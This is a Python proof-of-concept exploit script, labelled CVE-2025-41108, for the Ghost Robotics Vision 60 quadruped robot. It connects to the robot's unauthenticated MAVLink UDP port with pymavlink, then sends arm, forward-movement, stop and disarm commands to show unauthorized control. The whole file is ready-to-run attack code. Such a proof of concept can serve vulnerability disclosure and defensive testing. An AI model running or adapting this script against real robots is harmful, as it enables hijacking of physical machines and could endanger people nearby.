#!/usr/bin/env python3
# CVE-2025-41108 - Ghost Robotics Vision 60 MAVLink Protocol Exploitation PoC
# This PoC demonstrates how an attacker can send unauthorized commands
# to a Ghost Robotics Vision 60 robot by exploiting the lack of
# authentication and encryption in the MAVLink communication protocol.
import socket
import time
from pymavlink import mavutil
# Target robot IP address (Wi-Fi or 4G/LTE network)
ROBOT_IP = "192.168.1.100" # Default Vision 60 control station IP
ROBOT_PORT = 14550 # Default MAVLink port
# Create MAVLink connection (no authentication required)
master = mavutil.mavlink_connection(f'udp:{ROBOT_IP}:{ROBOT_PORT}')
# Wait for heartbeat from the robot
print("[*] Waiting for robot heartbeat...")
master.wait_heartbeat()
print(f"[+] Connected to robot system: {master.target_system}")
# Send arm/disarm command to demonstrate unauthorized control
def send_arm_command(arm_status=1):
"""Send ARM/DISARM command to the robot"""
master.mav.command_long_send(
master.target_system,
master.target_component,
mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM,
0, # confirmation
arm_status, # 1 = arm, 0 = disarm
0, 0, 0, 0, 0, 0
)
print(f"[+] ARM command sent: {'ARMED' if arm_status else 'DISARMED'}")
# Send movement command to demonstrate full control
def send_movement_command(velocity_x, velocity_y, velocity_z):
"""Send velocity command to control robot movement"""
master.mav.set_position_target_local_ned_send(
0, # time_boot_ms
master.target_system,
master.target_component,
mavutil.mavlink.MAV_FRAME_LOCAL_NED,
0b0000111111000111, # type_mask (only velocities enabled)
0, 0, 0, # x, y, z positions
velocity_x, velocity_y, velocity_z, # vx, vy, vz velocities
0, 0, 0, # afx, afy, afz accelerations
0, 0 # yaw, yaw_rate
)
print(f"[+] Movement command sent: vx={velocity_x}, vy={velocity_y}, vz={velocity_z}")
# Main exploitation sequence
if __name__ == "__main__":
print("[*] CVE-2025-41108 Exploitation PoC")
print("[*] Target: Ghost Robotics Vision 60")
print("[*] Exploiting lack of authentication in MAVLink protocol...")
# Step 1: Arm the robot without authorization
send_arm_command(1)
time.sleep(2)
# Step 2: Send movement commands
send_movement_command(1.0, 0.0, 0.0) # Move forward
time.sleep(3)
send_movement_command(0.0, 0.0, 0.0) # Stop
time.sleep(1)
# Step 3: Disarm the robot
send_arm_command(0)
print("[+] Exploitation complete - unauthorized control demonstrated")